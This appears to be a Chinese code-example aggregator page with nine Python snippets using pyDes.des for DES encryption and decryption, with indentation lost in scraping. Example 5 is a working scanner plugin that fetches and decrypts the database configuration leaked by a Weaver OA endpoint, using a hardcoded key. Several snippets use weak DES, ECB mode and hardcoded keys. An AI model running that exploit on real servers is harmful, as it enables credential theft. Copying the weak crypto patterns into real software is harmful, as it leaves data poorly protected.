本文整理汇总了Python中pyDes.des方法的典型用法代码示例。如果您正苦于以下问题:Python pyDes.des方法的具体用法?Python pyDes.des怎么用?Python pyDes.des使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类pyDes
的用法示例。
在下文中一共展示了pyDes.des方法的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: main
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def main():
if len(sys.argv) != 2:
print 'Usage: %s <encrypted_message>'
sys.exit(-1)
original_data = sys.argv[1]
session_key = '%d' % sum([int(c) for c in original_data[:10]])
key = session_key + 'dksyel'
encrypted_data = original_data[10:]
des_cryptor = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
plaintext = des_cryptor.decrypt(base64.b64decode(encrypted_data))
print plaintext
示例2: encrypt
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def encrypt(self, text):
"""
DES 加密
:param text: 原始字符串
:return: 加密后字符串,bytes
"""
if not isinstance(text, bytes):
text = bytes(text, "utf-8")
secret_key = self.key
iv = self.iv
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(text, padmode=PAD_PKCS5)
return en
示例3: descrypt
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def descrypt(self, text):
"""
DES 解密
:param text: 加密后的字符串,bytes
:return: 解密后的字符串
"""
secret_key = self.key
iv = self.iv
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(text, padmode=PAD_PKCS5)
return de.decode()
示例4: des_encrypt_string
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def des_encrypt_string(DEVICE_ID):
# We only need the first 8 characters of the encryption key
# Found in co.vmob.sdk.util.Utils.java
key = 'co.vmob.sdk.android.encrypt.key'.encode()[:8]
# The encryption prefix
encryption_prefix = 'co.vmob.android.sdk.'
# Now the encryption part
cipher = pyDes.des(key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
encrypted_message = cipher.encrypt(encryption_prefix + DEVICE_ID)
# Return the encrypted message base64 encoded and "decoded" so it is a string, not bytes.
return base64.b64encode(encrypted_message).replace(b"/", b"_").decode() + "_"
# Encryption key used for the TSSA
示例5: medusa
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def medusa(Url,RandomAgent,proxies=None,**kwargs):
proxies=ClassCongregation.Proxies().result(proxies)
scheme, url, port = UrlProcessing(Url)
if port is None and scheme == 'https':
port = 443
elif port is None and scheme == 'http':
port = 80
else:
port = port
try:
payload = "/mobile/DBconfigReader.jsp"
payload_url = scheme + "://" + url +":"+ str(port) + payload
key = '1z2x3c4v5b6n'[0:8]
headers = {
'User-Agent': RandomAgent,
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
s = requests.session()
resp = s.get(payload_url,headers=headers, timeout=6,proxies=proxies, verify=False)
con=resp.text
dec=resp.content[10:]
resph= resp.headers.get('Set-Cookie')
code = resp.status_code
if code == 200 and resp.headers['Content-Type']=='text/html; charset=UTF-8' and resph.find('ecology') != -1 :
k = pyDes.des(key, pyDes.ECB, '\0' * 8, pad=None, padmode=pyDes.PAD_PKCS5)
decs=k.decrypt(dec)
Medusa = "{} 存在泛微OA_数据库配置信息泄露验证数据:\r\nUrl:{}\r\n返回数据:{}\r\n解密数据:{}".format(url,payload_url,con,decs)
_t=VulnerabilityInfo(Medusa)
ClassCongregation.VulnerabilityDetails(_t.info, url,**kwargs).Write() # 传入url和扫描到的数据
ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件,url为目标文件名统一传入,Medusa为结果
except Exception as e:
_ = VulnerabilityInfo('').info.get('algroup')
ClassCongregation.ErrorHandling().Outlier(e, _)
_l = ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
示例6: sendPassword
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def sendPassword(self, password):
"""send password"""
pw = (password + '\0' * 8)[:8] #make sure its 8 chars long, zero padded
des = RFBDes(pw)
response = des.encrypt(self._challenge)
self.transport.write(response)
示例7: encryptDES_ECB
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def encryptDES_ECB(data, key):
data = data.encode()
k = pyDes.des(key, pyDes.ECB, IV=None, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.encrypt(data)
assert k.decrypt(d, padmode=pyDes.PAD_PKCS5) == data
return d
示例8: des_encrypt
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def des_encrypt(cls, content):
"""
DES 加密
:param content: 原始字符串
:return: 加密后字符串,16进制
"""
k = des(cls.secret_key, CBC, cls.iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(content, padmode=PAD_PKCS5)
return binascii.b2a_hex(en)
示例9: des_decrypt
# 需要导入模块: import pyDes [as 别名]
# 或者: from pyDes import des [as 别名]
def des_decrypt(cls, content):
"""
DES 解密
:param content: 加密后的字符串,16进制
:return: 解密后的字符串
"""
k = des(cls.secret_key, CBC, cls.iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(binascii.a2b_hex(content), padmode=PAD_PKCS5)
return de